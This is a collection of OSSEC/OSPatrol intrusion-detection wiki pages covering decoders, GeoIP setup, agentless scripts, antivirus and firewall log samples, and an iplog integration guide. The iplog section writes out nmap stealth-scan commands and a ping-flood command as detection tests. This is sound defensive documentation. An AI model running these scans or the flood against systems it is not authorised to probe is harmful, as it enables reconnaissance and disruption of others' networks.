    char *full_log;
    char *location;
    char *hostname;
    char *program_name;


    /* Extracted from the decoders */
    char *srcip;
    char *dstip;
    char *srcport;
    char *dstport;
    char *protocol;
    char *action;
    char *srcuser;
    char *dstuser;
    char *id;
    char *status;
    char *command;
    char *url;
    char *data;
    char *systemname;


    /* Pointer to the rule that generated it */
    RuleInfo *generated_rule;

    /* Pointer to the decoder that matched */
    OSDecoderInfo *decoder_info;

    ..
}Eventinfo;
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Additional rules


This is the place to store rules that are not meant for the official release, because they
are specific to an environment or customized to an internal application.



Windows: Rule to alert on password changes by another user


<rule id="100155" level="10">
  <if_sid>18111</if_sid>
  <compiled_rule>comp_mswin_targetuser_calleruser_diff</compiled_rule>
  <description>User changed someone else password.</description>
</rule>
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		cumentation for Adding GeoIP Support


		

		– added support for GeoIP lookup using Maxmind database and API (xavier)


		
		support GeoIP database lookup for src/dst IP addresses


		converting non-private IP addresses to city names


		output to alerts.log, and syslog forwarding, and maild output















—— Sample procedure to enable GeoIP (adjust as needed)
Step 1. get and install Maxmind GeoIP API



wget http://www.maxmind.com/download/geoip/api/c/GeoIP-1.4.8.tar.gz
tar xzvf GeoIP-1.4.8.tar.gz
cd GeoIP-1.4.8
./configure
make
su
make install”




		Step 2. get Maxmind GeoIP DB


		wget http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
gzip -d GeoLiteCity.dat.gz
wget ttp://geolite.maxmind.com/download/geoip/database/GeoLiteCityv6-beta/GeoLiteCityv6.dat.gz
gzip -d GeoLiteCityv6.dat.gz
su
cp GeoLiteCity*.dat /var/ossec/etc/


		Step 3. Compile OSSEC with GeoIP enabled, modify config


		
get ossec-hids-2.7.tar.gz
tar xzvf ossec-hids-2.7.tar.gz
cd ossec-hids-2.7
cd src
make setgeoip
cd ..
su
./install.sh



—— modify etc/ossec.conf
<ossec_config>




		<global>


		<!– to specify GeoIP database file location –>
<geoip_db_path>/etc/GeoLiteCity.dat</geoip_db_path>
<geoip6_db_path>/etc/GeoLiteCityv6.dat</geoip6_db_path>





</global>



		<alerts>


		
<!– to add GeoIP info in alerts –>
<use_geoip>yes</use_geoip>



</alerts>












</ossec_config>


—— update etc/internal_options.conf
# Maild display GeoIP data (0=disabled, 1=enabled)
maild.geoip=1



		—— restart OSSEC


		/var/ossec/bin/ossec-control restart
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OSSEC 101: Decoders



This section will explain OSSEC decoders.




Understanding the decoders:





Creating a decoder:





Configure the system to use the new decoder:
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		This page was reproduced here with permission from Jeremy Rossi.  Orgianl post was Praetorian Prefect: OSPatrol: Agentless scripts [http://praetorianprefect.com/archives/2009/11/ospatrol-agentless-scripts/]






Agentless Scripts


All scripts that work with OSPatrol agentless security monitoring use stdout for communication and reporting to the OSPatrol server. This makes writing scripts for OSPatrol simple as you do not need to do anything more then print or echo to stdout. The format of the output does need to meet the OSPatrol specification, but that is a very simple thing to do.


Before we move to the specification details I need to explain that OSPatrol agentless runs to different types of scripts. Namely the following:





Periodic diff Specification


The output for periodic_diff is very simple, any and all output after the agentless command .STORE: now. and before the next OSPatrol Command will be stored and compared for differences. This type of script is mostly used for hardware devices such as Cisco IOS, Juniper JunOS, and other products.


Scripts that use the periodic_diff make use of the following commands:


Here is an example of a periodic_diff script that comes with OSPatrol. (Please note with all agentless scripts you must be in the root of the OSPatrol install for them to function correctly.)


obsd46#( cd /var/ospatrol && ./agentless/ssh_pixconfig_diff cisco@172.17.0.1 'show hardware' )
spawn ssh -c des cisco@172.17.0.1
No valid ciphers for protocol version 2 given, using defaults.
Password:

a.zfw.tss>INFO: Starting.
enable
Password:
a.zfw.tss#ok on enable pass

STORE: now
no pager
           ^
% Invalid input detected at '^' marker.

a.zfw.tss#term len 0
a.zfw.tss#terminal pager 0
                   ^
% Invalid input detected at '^' marker.

a.zfw.tss#show version | grep -v Configuration last| up
                       ^
% Invalid input detected at '^' marker.

a.zfw.tss#show running-config
Building configuration...


Current configuration : 14631 bytes
!
version 12.4

[................SNIP CONFIG.................]

a.zfw.tss#show hardware
Cisco IOS Software, 3800 Software (C3845-ADVENTERPRISEK9-M), Version 12.4(24)T1, RELEASE SOFTWARE (fc3)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2009 by Cisco Systems, Inc.
Compiled Fri 19-Jun-09 19:21 by prod_rel_team

ROM: System Bootstrap, Version 12.3(11r)T2, RELEASE SOFTWARE (fc1)

a.zfw.tss uptime is 1 week, 5 days, 7 hours, 29 minutes
System returned to ROM by reload at 13:34:26 UTC Thu Oct 22 2009
System image file is "flash:c3845-adventerprisek9-mz.124-24.T1.bin"


This product contains cryptographic features and is subject to United
States and local country laws governing import, export, transfer and
use. Delivery of Cisco cryptographic products does not imply
third-party authority to import, export, distribute or use encryption.
Importers, exporters, distributors and users are responsible for
compliance with U.S. and local country laws. By using this product you
agree to comply with applicable laws and regulations. If you are unable
to comply with U.S. and local laws, return this product immediately.

A summary of U.S. laws governing Cisco cryptographic products may be found at:
http://www.cisco.com/wwl/export/crypto/tool/stqrg.html

If you require further assistance please contact us by sending email to
export@cisco.com.

Cisco 3845 (revision 1.0) with 1007615K/40960K bytes of memory.
Processor board ID FTX1043A2CR
2 Gigabit Ethernet interfaces
1 ATM interface
1 Virtual Private Network (VPN) Module
4 CEM T1/E1 ports
DRAM configuration is 64 bits wide with parity enabled.
479K bytes of NVRAM.
492015K bytes of USB Flash usbflash0 (Read/Write)
62720K bytes of ATA System CompactFlash (Read/Write)

Configuration register is 0x2102


a.zfw.tss#exit
Connection to 172.17.0.1 closed by remote host.
Connection to 172.17.0.1 closed.

INFO: Finished.






In this example above the script would store the contents between STORE: now and INFO: Finished. If this is the first time that OSPatrol agentless has run this command no alerts would be generated and the contents would have been saved for later comparisons. If OSPatrol agentless has a stored copy from a previous execution it will compare the files and if there are any differences it will generate an alert.





Periodic Specification


The periodic specification has more options and gives more control to the script writer on what actions OSPatrol will take. Once again stdout is used for communication so script writing is easy.





Example of real FWD: command.


FWD: 19419:600:0:0:fb30de5b02029950ae05885a3d407c8c:017cd6118cdc166ee8eba8af1b7fdad6763203d3 ./.bash_history






The Fields break down in to the following


Using this format OSPatrol can store the information about a file and then in the future run compare that they are the same. If for some reason they are not the same an alert will be generated. Here is an example of a password change on a linux system:


OSPatrol HIDS Notification.
2009 Sep 21 15:19:00

Received From: (ssh_integrity_check_linux) root@172.17.20.20->syscheck
Rule: 550 fired (level 7) -> "Integrity checksum changed."
Portion of the log(s):

Integrity checksum changed for: '/etc/shadow'
Old md5sum was: '0d92e12c92f3edcf9d8876ea57c5f677'
New md5sum is : '2bd51b61dea17c5682fb2c0cf4f92c63'
Old sha1sum was: '2270c03a920ef8dd50e11cefdef046a8660f7a29'
New sha1sum is : 'd9518ea9022b10d07f81925c6d7f2abb4364b548'

--END OF NOTIFICATION
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Log samples for Iplog


Some log samples for iplog [http://freshmeat.net/projects/iplog/]


Nov  9 16:24:47 TCP: ftp connection attempt from mail.derkeiler.com (195.140.232.116):52516
Nov  9 16:24:47 TCP: pptp connection attempt from mail.derkeiler.com (195.140.232.116):51624
Nov  9 16:24:47 TCP: domain connection attempt from mail.derkeiler.com (195.140.232.116):56341
Nov  9 16:24:47 TCP: ldaps connection attempt from mail.derkeiler.com (195.140.232.116):57057
Nov  9 16:24:47 TCP: https connection attempt from mail.derkeiler.com (195.140.232.116):2032
Nov  9 16:24:47 TCP: ldap connection attempt from mail.derkeiler.com (195.140.232.116):53716
Nov  9 16:24:47 TCP: rdp connection attempt from mail.derkeiler.com (195.140.232.116):62101
Nov  9 16:24:47 TCP: rtsp connection attempt from mail.derkeiler.com (195.140.232.116):60003
Nov  9 16:24:49 TCP: rtsp connection attempt from mail.derkeiler.com (195.140.232.116):58672
Nov  9 16:24:49 TCP: pptp connection attempt from mail.derkeiler.com (195.140.232.116):56416
Nov  9 16:24:49 TCP: rdp connection attempt from mail.derkeiler.com (195.140.232.116):50295
Nov  9 16:24:49 TCP: https connection attempt from mail.derkeiler.com (195.140.232.116):53896
Nov  9 16:24:49 TCP: ldap connection attempt from mail.derkeiler.com (195.140.232.116):65200
Nov  9 16:24:49 TCP: ftp connection attempt from mail.derkeiler.com (195.140.232.116):61067
Nov  9 16:24:49 TCP: port scan detected [ports 21,1723,53,636,443,389,3389,554] from mail.derkeiler.com (195.140.232.116) [ports 52516,51624$
Nov  9 16:26:39 TCP: port scan mode expired for mail.derkeiler.com (195.140.232.116) - received a total of 3308 packets (132320 bytes).






=iplog=
iplog is a TCP/IP traffic logger. Currently, it is capable of logging TCP, UDP, and ICMP traffic. iplog is able to detect TCP port scans, TCP null scans, FIN scans, UDP and ICMP “smurf” attacks, bogus TCP flags, TCP SYN scans, TCP “Xmas” scans, ICMP ping floods, UDP scans, and IP fragment attacks. iplog is able to run in promiscuous mode and monitor traffic to all hosts on a network. iplog uses libpcap to read data from the network and can be ported to any system that supports pthreads and on which libpcap will function.


=iplog.conf=



the syslog, user, group and internal network configuration is not show (OS dependient)
iplog can log in diferets ways depending of the configuration parameters (DNS resolv, log_dest, etc), the proposed decoders and rules
only work with the logs later described, this configuration file extract is functional with this requeriment, please read man iplog
and man iplog.conf



<nowiki># Log the IP address as well as the hostname of packets.</nowiki>


set log_ip true


<nowiki># Do not log the destination of packets (more presentable logs)</nowiki>


set log_dest false


<nowiki># Ignore DNS traffic from nameservers in /etc/resolv.conf.</nowiki>


set ignore_dns true


<nowiki># I dont want too many logs: ignore www, netbios, microsoft-ds loc-srv, 5900 tcp/port conecctions, not all the OS recognize the port alias, replace with de adecuate port number</nowiki>


ignore tcp dport 80


ignore tcp dport netbios-ssn


ignore tcp dport microsoft-ds


ignore tcp dport loc-srv


ignore tcp dport 5900


<nowiki># Port Scan Check</nowiki>


set portscan true


set icmp true


set frag true


set smurf true


set bogus true


set fin_scan true


set syn_scan true


set udp_scan true


set fool_nmap false


set xmas_scan true


set null_scan true


set ping_flood true


set traceroute true


=iplog: Scan and attack responses=


==’‘’Connect Scan and SYN scan’‘’==
nmap -sT -PI -PT 10.10.160.2


‘’‘iplog response’‘’


Nov 14 18:09:08 TCP: domain connection attempt from 10.10.150.1:51239


Nov 14 18:09:08 TCP: https connection attempt from 10.10.150.1:51240


Nov 14 18:09:08 TCP: port 1723 connection attempt from 10.10.150.1:51241


Nov 14 18:09:08 TCP: ftp connection attempt from 10.10.150.1:51242


Nov 14 18:09:08 TCP: smtp connection attempt from 10.10.150.1:51243


Nov 14 18:09:08 TCP: port 3389 connection attempt from 10.10.150.1:51244


Nov 14 18:09:08 TCP: auth connection attempt from 10.10.150.1:51245


Nov 14 18:09:08 TCP: port 636 connection attempt from 10.10.150.1:51246


Nov 14 18:09:08 TCP: port 256 connection attempt from 10.10.150.1:51247


Nov 14 18:09:08 TCP: port 554 connection attempt from 10.10.150.1:51248


Nov 14 18:09:08 TCP: telnet connection attempt from 10.10.150.1:51249


Nov 14 18:09:08 TCP: port 389 connection attempt from 10.10.150.1:51250


Nov 14 18:09:08 TCP: ssh connection attempt from 10.10.150.1:51251


Nov 14 18:09:08 TCP: port 486 connection attempt from 10.10.150.1:51253


<font color=”red”>Nov 14 18:09:08 TCP: port scan detected [ports 53,443,1723,21,25,3389,113,636,256,554,...] from 10.10.150.1 [ports 51242,51243,...]</font>


Nov 14 18:09:08 UDP: dgram to port 1 from 10.10.150.1:34324 (300 data bytes)


<font color=”red”>Nov 14 18:09:12 TCP: SYN scan detected [ports 21,1] from 10.10.150.1 [ports 34333,34335,34325,34326,34327,...]</font>


Nov 14 18:09:12 UDP: dgram to port 1 from 10.10.150.1:34324 (300 data bytes)


Nov 14 18:10:02 last message repeated 1 times


Nov 14 18:10:02 TCP: port scan mode expired for 10.10.150.1 - received a total of 1678 packets (47092 bytes).


Nov 14 18:10:09 TCP: SYN scan mode expired for 10.10.150.1 - received a total of 24 packets (960 bytes).


==’‘’FIN Stealth Scan’‘’==
nmap -sF -p- -PI -PT 10.10.150.2


‘’‘iplog response’‘’


<font color=”red”>Nov 14 18:22:51 TCP: FIN scan detected [ports 3389,1723,256,113,22,389,554,443,21,23,...] from 10.10.150.1 [port 57876]</font>


Nov 14 18:24:05 TCP: FIN scan mode expired for 10.10.150.1 - received a total of 65535 packets (1310700 bytes)


==’‘’NULL Stealth Scan’‘’==
nmap -sN -p- -PI -PT 10.10.150.2


‘’‘iplog response’‘’


<font color=”red”>Nov 14 18:26:58 TCP: null scan detected [ports 636,53,23,3389,1723,443,113,554,25,21,...] from 10.10.150.1 [port 35444]</font>


Nov 14 18:28:14 TCP: null scan mode expired for 10.10.150.1 - received a total of 65534 packets (1310680 bytes)


==’‘’Xmas Tree Stealth Scan’‘’==
nmap -sX -p- -PI -PT 10.10.150.2


‘’‘iplog response’‘’


<font color=”red”>Nov 14 18:30:30 TCP: Xmas scan detected [ports 636,256,554,389,1723,53,443,21,3389,22,...] from 10.10.150.1 [port 42399]</font>


Nov 14 18:31:48 TCP: Xmas scan mode expired for 10.10.150.1 - received a total of 65532 packets (1310640 bytes).


==’‘’UDP port scan’‘’==
nmap -sU -p- -PI -PT 10.10.150.2


‘’‘iplog response’‘’


Nov 14 18:34:59 UDP: dgram to port 33161 from 10.10.150.1:60362 (0 data bytes)


Nov 14 18:34:59 UDP: dgram to port 41107 from 10.10.150.1:60362 (0 data bytes)


Nov 14 18:34:59 UDP: dgram to port 63571 from 10.10.150.1:60362 (0 data bytes)


Nov 14 18:34:59 UDP: dgram to port 48714 from 10.10.150.1:60362 (0 data bytes)


Nov 14 18:34:59 UDP: dgram to port 25271 from 10.10.150.1:60362 (0 data bytes)


Nov 14 18:34:59 UDP: dgram to port 13612 from 10.10.150.1:60362 (0 data bytes)


Nov 14 18:34:59 UDP: dgram to port 41094 from 10.10.150.1:60362 (0 data bytes)


Nov 14 18:34:59 UDP: dgram to port 52700 from 10.10.150.1:60362 (0 data bytes)


Nov 14 18:34:59 UDP: dgram to port 11482 from 10.10.150.1:60362 (0 data bytes)


Nov 14 18:34:59 UDP: dgram to port 62794 from 10.10.150.1:60362 (0 data bytes)


Nov 14 18:34:59 UDP: dgram to port 28270 from 10.10.150.1:60362 (0 data bytes)


Nov 14 18:34:59 UDP: dgram to port 27081 from 10.10.150.1:60362 (0 data bytes)


Nov 14 18:34:59 UDP: dgram to port 10866 from 10.10.150.1:60362 (0 data bytes)


Nov 14 18:34:59 UDP: dgram to port 63494 from 10.10.150.1:60362 (0 data bytes)


Nov 14 18:34:59 UDP: dgram to port 28686 from 10.10.150.1:60362 (0 data bytes)


Nov 14 18:34:59 UDP: dgram to port 44600 from 10.10.150.1:60362 (0 data bytes)


Nov 14 18:34:59 UDP: dgram to port 21771 from 10.10.150.1:60362 (0 data bytes)


Nov 14 18:34:59 UDP: dgram to port 53283 from 10.10.150.1:60362 (0 data bytes)


Nov 14 18:34:59 UDP: dgram to port 44436 from 10.10.150.1:60362 (0 data bytes)


Nov 14 18:34:59 UDP: dgram to port 46916 from 10.10.150.1:60362 (0 data bytes)


Nov 14 18:34:59 UDP: dgram to port 30519 from 10.10.150.1:60362 (0 data bytes)


Nov 14 18:34:59 UDP: dgram to port 8041 from 10.10.150.1:60362 (0 data bytes)


Nov 14 18:35:00 UDP: dgram to port 8041 from 10.10.150.1:60363 (0 data bytes)


Nov 14 18:35:00 UDP: dgram to port 30519 from 10.10.150.1:60363 (0 data bytes)


<font color=”red”>Nov 14 18:35:00 UDP: scan/flood detected [ports 33161,41107,63571,48714,25271,...] from 10.10.150.1 [ports 60362]</font>


Nov 14 18:39:15 UDP: scan/flood mode expired for 10.10.150.1 - received a total of 356 packets (2848 bytes).


==’‘’traceroute’‘’==
traceroute 10.10.150.1


‘’‘iplog response’‘’


<font color=”red”>Nov 14 18:57:18 UDP: traceroute from 10.10.150.2</font>


==’‘’Flood ping attack’‘’==
ping -f 10.10.150.2


‘’‘iplog response’‘’


<font color=”red”>Nov 14 19:09:33 ICMP: ping flood detected from 10.10.150.1</font>


Nov 14 19:11:29 ICMP: ping flood mode expired for 10.10.150.1 - received a total of 428 packets (8416000 bytes).


==’‘’IP fragment attacks’‘’==
TODO


==’‘’UDP and ICMP “smurf” attacks’‘’==
Nov 18 19:12:30 ICMP/UDP: smurf attack detected from 201.223.41.0


<font color=”red”>Nov 18 19:23:30 ICMP/UDP: smurf attack detected from 201.223.41.0</font>


Nov 18 19:28:07 ICMP/UDP: smurf attack mode expired for 201.223.41.0 - received a total of 337 packets (21568 bytes).


==’‘’Another interesting logs’‘’==


‘’‘bogus TCP flags’‘’


<font color=”red”>Nov 14 15:57:56 TCP: Bogus TCP flags set by 10.10.160.2:60873 (dest port 25)</font>


=’‘’OSSEC (HIDS) + iplog (sensor) implementation’‘’=
*Work in progress
*TODO: improve regex, decoders and rules. p0f complementation?
*Configuration tested in FreeBSD 6.1 and archlinux gimmick
*Last modification 14/Nov/2006


==’‘’iplog decoder’‘’==


‘’‘For this logs:’‘’


Nov 14 18:09:12 TCP: SYN scan detected [ports 21,1] from 10.10.150.1 [ports 34333,34335,34325,34326,34327,...]


Nov 14 18:09:08 TCP: port scan detected [ports 53,443,1723,21,25,3389,113,636,256,554,...] from 10.10.150.1 [ports 51242,51243,...]


Nov 14 18:22:51 TCP: FIN scan detected [ports 3389,1723,256,113,22,389,554,443,21,23,...] from 10.10.150.1 [port 57876]


Nov 14 18:26:58 TCP: null scan detected [ports 636,53,23,3389,1723,443,113,554,25,21,...] from 10.10.150.1 [port 35444]


Nov 14 18:30:30 TCP: Xmas scan detected [ports 636,256,554,389,1723,53,443,21,3389,22,...] from 10.10.150.1 [port 42399]


‘’‘a working decoder is:’‘’




		<decoder name=”iplog-scan”>


		<prematch>S+ scan detected</prematch>
<regex offset=”after_prematch”>S+ S+ from (S+)</regex>
<order>srcip</order>





</decoder>






‘’‘For this log:’‘’


Nov 14 18:35:00 UDP: scan/flood detected [ports 33161,41107,63571,48714,25271,...] from 10.10.150.1 [ports 60362]


‘’‘a proppossed decoder is (not tested):’‘’




		<decoder name=”iplog-flood”>


		<prematch>scan/flood detected</prematch>
<regex offset=”after_prematch”>S+ S+ from (S+)</regex>
<order>srcip</order>





</decoder>






‘’‘For this log:’‘’


Nov 14 19:09:33 ICMP: ping flood detected from 10.10.150.1


‘’‘a proppossed decoder is (not tested):’‘’




		<decoder name=”iplog-pingflood”>


		<prematch>ping flood detected from</prematch>
<regex offset=”after_prematch”>(S+)</regex>
<order>srcip</order>





</decoder>






‘’‘For this log:’‘’
(necesary to include???????) i Think no (very paranoic)


Nov 14 18:57:18 UDP: traceroute from 10.10.150.2


‘’‘a proppossed decoder is (not tested):’‘’




		<decoder name=”iplog-traceroute”>


		<prematch>pingtraceroute from</prematch>
<regex offset=”after_prematch”>(S+)</regex>
<order>srcip</order>





</decoder>






‘’‘For this log:’‘’
(necesary to include???????) i Think no (very paranoic)


Nov 14 15:57:56 TCP: Bogus TCP flags set by 10.10.160.2:60873 (dest port 25)


‘’‘a proppossed decoder is (not tested):’‘’




		<decoder name=”iplog-bogustcp”>


		<prematch>Bogus TCP flags set by</prematch>
<regex offset=”after_prematch”>(d+.d+.d+.d+):d+</regex>
<order>srcip</order>





</decoder>






==’‘’iplog rules’‘’==


Only for working decoders



cd ~/ossec/rules
touch iplog_rules.xml
chown root:ossec iplog_rules.xml
chmod 550 iplog_rules.xml



in iplog_rules.xml include:




		<group name=”syslog,errors,”>


		
		<rule id=”99990” level=”6”>


		<decoded_as>iplog-scan</decoded_as>
<description>iplog scan detect</description>





</rule>








</group>






==’‘’ossec.conf’‘’==



cd ~/ossec/etc
vi  ossec.conf



include in the correct place:



<include>iplog_rules.xml</include>



and




		<localfile>


		<log_format>syslog</log_format>
<location>/var/log/iplog</location>





</localfile>






or wherever you put your iplog logs


start iplog



iplog -d



restart ossec



~/ossec/bin/ossec-control restart



test with nmap (see before)


=’‘’OSSEC active-response’‘’=


==’‘’Firewall Drop: FreeBSD-IPFW’‘’==
add to your ipfw script the follow lines, if you are using the 00001 rule number disoccupying:



/sbin/ipfw add 00001 deny ip from table(00002) to any
/sbin/ipfw add 00001 deny ip from any to table(00002)



Change  ~/ossec/active-response/bin/firewall-drop.sh to adjust to the red lines



<nowiki>#!/bin/sh</nowiki>
<nowiki># Adds an IP to the IPFW drop list.</nowiki>
<nowiki># Only works with IPFW.</nowiki>
<nowiki># We use TABLE 00001. If you use this table for anything else,</nowiki>
<nowiki># please change it here.</nowiki>
<nowiki># Expect: srcip</nowiki>
<nowiki># Author: Rafael Capovilla - under @ ( at ) underlinux.com.br</nowiki>
<nowiki># Author: Daniel B. Cid - dcid @ ( at ) ossec.net</nowiki>
<nowiki># Last modified: May 07, 2006</nowiki>
UNAME=`uname`
IPFW=”/sbin/ipfw”
ARG1=””
ARG2=””
ACTION=$1
USER=$2
IP=$3
<font color=”red”>TABLE_ID=00002</font>
LOCAL=`dirname $0`;
cd $LOCAL
cd ../
PWD=`pwd`
echo “date $0 $1 $2 $3” >> ${PWD}/ossec-hids-responses.log
<nowiki># Checking for an IP</nowiki>
if [ “x${IP}” = “x” ]; then



echo “$0: <action> <username> <ip>”
exit 1;



fi
<nowiki># Blocking IP</nowiki>
if [ “x${ACTION}” != “xadd” -a “x${ACTION}” != “xdelete” ]; then



echo “$0: Invalid action: ${ACTION}”
exit 1;



fi
<nowiki># We should run on FreeBSD</nowiki>
<nowiki># We always use table 00001 and rule id 00001.</nowiki>
if [ “X${UNAME}” = “XFreeBSD” ]; then




ls ${IPFW} >> /dev/null 2>&1
if [ $? != 0 ]; then



exit 0;



fi






<nowiki> # Check if our table is set</nowiki>
<font color=”red”> ${IPFW} show | grep “^00001” | grep “table(2)” >/dev/null 2>&1</font>




		if [ ! $? = 0 ]; then


		# We need to add the table
${IPFW} -q 00001 add deny ip from table(${TABLE_ID}) to any
${IPFW} -q 00001 add deny ip from any to table(${TABLE_ID})





fi











		<nowiki>   # Executing and exiting</nowiki>


		${IPFW} -q table ${TABLE_ID} ${ACTION} ${IP}
exit 0;





fi
<nowiki># Not FreeBSD</nowiki>
exit 1;






Include in ~/ossec/etc/ossec.conf:




		<command>


		<name>firewall-drop</name>
<executable>firewall-drop.sh</executable>
<expect>srcip</expect>





</command>



		<active-response>


		<disabled>no</disabled>
<command>firewall-drop</command>
<location>local</location>



<rules_id>99990</rules_id>









</active-response>







		restart ossec:


		~/ossec/bin/ossec-control restart


		Scan your machine (caution OSSEC will block the scanner IP) from online scanner server like: http://www.derkeiler.com/Service/PortScan/, or from a remote machine with:


		nmap -sT -PI -PT 1.2.3.4


		look if the active-response works with:


		/sbin/ipfw table 2 list


		or


		tail -f ~/ossec/active-response/ossec-hids-responses.log


		if you want to flush the banned IPs in the table


		/sbin/ipfw table 2 flush


		or want to remove a specific IP in the table


		/sbin/ipfw table 2 delete 1.2.3.4





if you want to flush the table every 24 Hrs:



vi /etc/crontab




		and include


		0    */24       *       *       *  root /sbin/ipfw table 2 flush > /dev/null 2>&1





=More restrictions=


*‘’‘iplog.conf’‘’
To Enable  or  disable  a mechanism that attempts to fool programs, such as nmap and queso, that perform remote OS detection, add the follow line to iplog.conf



set fool_nmap true



As  a side effect, enabling this option will also cause most of nmap’sstealth” scans to fail.


*‘’‘BSD’s sysctl (some FreeBSD especific)’‘’



tcp_drop_synfin
net.inet.tcp.blackhole
net.inet.udp.blackhole



[[Category:rules]]
[[Category:decoders]]
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How to configure ospatrol to never block some IPs in the active response


OSPatrol by default white lists localhost and your name servers.
To add more IPs to the white list, so they will never be blocked, just
add a new white_list entry inside the global section.



White list an IP and a network


In this example, the 10.1.0.0/16 network and IP 1.2.3.4 will not be blocked:





CIDR addresses can also be used to white list whole networks:





For DNS servers


For some DNS servers it might be a good idea to ignore all the DNS root servers, so they are never blocked:
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OSSEC 101: Alert Output:


OSSEC has a number of output options for alerts.



Logfile:





Email:




		GeoIP












Syslog:





Database:




		MySQL


		PostgreSQL












Prelude:





CEF:
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McAfee Logs



11/9/2004     10:11:17 AM     Blocked by port blocking rule   nmap.exe        Prevent mass mailing worms from sending mail    170.27.184.173
11/9/2004     10:20:17 AM     Blocked by port blocking rule   nmap.exe        Prevent mass mailing worms from sending mail    170.27.148.12
11/9/2004     10:21:17 AM     Blocked by port blocking rule   nmap.exe        Prevent mass mailing worms from sending mail    170.27.148.12
11/11/2004    4:23:02 PM      Blocked by port blocking rule   nmap.exe        Prevent mass mailing worms from sending mail    170.27.48.89
11/16/2004    9:11:43 AM      Blocked by port blocking rule   sshd.exe        Prevent IRC communication       127.0.0.1
11/19/2004    9:38:51 AM      Blocked by port blocking rule   sshd.exe        Prevent IRC communication       127.0.0.1
11/20/2004    3:53:38 PM      Blocked by port blocking rule   named.exe       Prevent IRC communication       127.0.0.1
11/22/2004    5:59:37 PM      Blocked by port blocking rule   Maxthon.exe     Prevent IRC communication       204.157.0.203
11/22/2004    6:18:37 PM      Blocked by port blocking rule   Maxthon.exe     Prevent IRC communication       66.154.9.99
11/22/2004    6:20:37 PM      Blocked by port blocking rule   Maxthon.exe     Prevent IRC communication       64.38.239.10
12/3/2004     10:08:37 AM     Would be blocked by behaviour blocking rule  (rule is currently in warn mode)   ComputerNameUserName   iexplore.exe    C:Documents and SettingsUserNameLocal SettingsTemporary Internet FilesContent.IE5OXU74LIRyinst_current[1].exe    Prevent Internet Explorer from launching anything from the Temp folder  Action blocked :Execute
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Disconnected Agent Alert


In certain circumstances, OSPatrol may not alert on disconnected agents.  By putting this line in root’s crontab(1), an alert will be sent for any disconnected agents, but only if there is at least one:


Replace the path to OSPatrol and the e-mail address with values suitable to your installation.



		This needs to be done as root, however since OSPatrol will immediately chroot and drop privileges the software executes it safely.  It will run every fifteen minutes.  Adjust to suit your own tolerance.  This is one line; watch for wrapping.
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OSSEC 101: logfile output


By default OSSEC will output alerts to a logfile located at /var/ossec/logs/alerts/alerts.log.
The alert format is multi-line, and the exact information will vary based on the alert.


The alerts.log file rotates every day at midnight, and is saved to /var/ossec/logs/alerts/YYYY/mm/ossec-alerts-dd.log.gz.
The MD5 of the logfile is stored in /var/ossec/logs/alerts/YYYY/mm/ossec-alerts-dd.log.sum.



Options:


There are currently no options associated with the alerts.log





Log sample:


** Alert 1345225879.4882: - syslog,sudo
2012 Aug 17 13:51:19 arrakis->/var/log/secure
Rule: 5402 (level 3) -> 'Successful sudo to ROOT executed'
User: ddp
2012-08-17T13:51:19.415746-04:00 arrakis sudo:      ddp : TTY=ttyp3 ; PWD=/home/ddp ; USER=root ; COMMAND=/usr/sbin/pkg_add -ui

** Alert 1345226469.5197: - ossec,
2012 Aug 17 14:01:09 arrakis->ossec-logcollector
Rule: 591 (level 3) -> 'Log file rotated.'
ossec: File rotated (inode changed): '/var/log/messages'.
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Log Samples for Trend Micro Office Scan OSCE


20090716<;>948<;>TROJ_Generic.DIT<;>25<;>3<;>0<;>C:\Documents and Settings\Administrator\Desktop\HyperSnap 6.02.01_EN\HprSnap6Man.chm<;>
20090716<;>950<;>WORM_DOWNAD.A<;>1<;>3<;>0<;>C:\Documents and Settings\DCS_VM-ICRC-WFBS6\Local Settings\Temporary Internet Files\Content.IE5\9JK3DN67\sitb[1].jpg<;>
20090716<;>951<;>WORM_DOWNAD.A<;>1<;>3<;>0<;>C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\9JK3DN67\sitb[1].jpg<;>
20090716<;>951<;>WORM_DOWNAD<;>0<;>4<;>0<;>Scanned by DCS<;>
20090716<;>951<;>WORM_DOWNAD.A<;>0<;>4<;>0<;>Scanned by DCS<;>
20090716<;>951<;>WORM_DOWNAD<;>0<;>4<;>0<;>Scanned by DCS<;>
20090716<;>951<;>WORM_DOWNAD.A<;>0<;>4<;>0<;>Scanned by DCS<;>
20090716<;>1122<;>WORM_DOWNAD.A<;>6<;>3<;>0<;>C:\WINDOWS\system32\jkbsctb.dll<;>
20090716<;>1122<;>WORM_DOWNAD.A<;>0<;>4<;>0<;>Scanned by DCS<;>
20090716<;>1122<;>WORM_DOWNAD<;>0<;>4<;>0<;>Scanned by DCS<;>
20090716<;>1122<;>WORM_DOWNAD.A<;>0<;>4<;>0<;>Scanned by DCS<;>
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How to configure PIX and OSPatrol


by Dale Neufeld <canuck.eh ( at ) gmail.com>


This is a very basic setup and the PIX offers a lot more options for syslog configuration including using a different port.



		Configuring syslog on the PIX





PIX 6.3 commands
http://www.cisco.com/en/US/products/sw/secursw/ps2120/products_system_message_guide_chapter09186a008051a0cc.html#wp1029066


logging on
no logging device-id
no logging timestamp
logging trap warning (see note 1.1 below for options)
logging host interface ipaddress






1.1 Logging Trap Options


Level Number

Level         Keyword
0             emergency
1             alert
2             critical
3             error
4             warning
5             notification
6             informational
7             debugging







		Ensure your OSPatrol host is seeing the PIX syslog messages





# tcpdump -i eth0 -A -s 0 udp port 514 and host <pix_ip>







		Configure OSPatrol to listen





Add the following to ospatrol.conf


<remote>
   <connection>syslog</connection>
   <allowed-ips>192.168.2.1</allowed-ips>  <!--ip addr of the device-->
   <port>514</port>
</remote>







		Restart the ospatrol service to begin listening





# /var/ospatrol/bin/ospatrol-control restart
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OSSEC 101: Front Ends:



Options:
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  Explanation of Symantec Antivirus Corporate Edition Windows Event log entries


Symantec Antivirus Corporate Edition 8.x writes data to the Windows NT/2000 application event logs. These entries have Category and Event IDs.


The total number of categories is four. Each category corresponds to a different component of Symantec Antivirus and the category number indicates where the application event originated from. These are shown below:


Category number        Where the event is from

1                From Quarantine/Q -Server
2                NAV services
3                Automatic Update/Virus Definitions
4                Any change to a server's configuration






The 24 different event actions, along with their event numbers and severity levels, are shown below


Event number            Severity of event        What occurred
1                       Warning                  An on-screen alert was sent.
2                       Informational            A virus scan completed.
3                       Informational            A virus scan was started.
4                       Informational            Virus definitions have been updated.
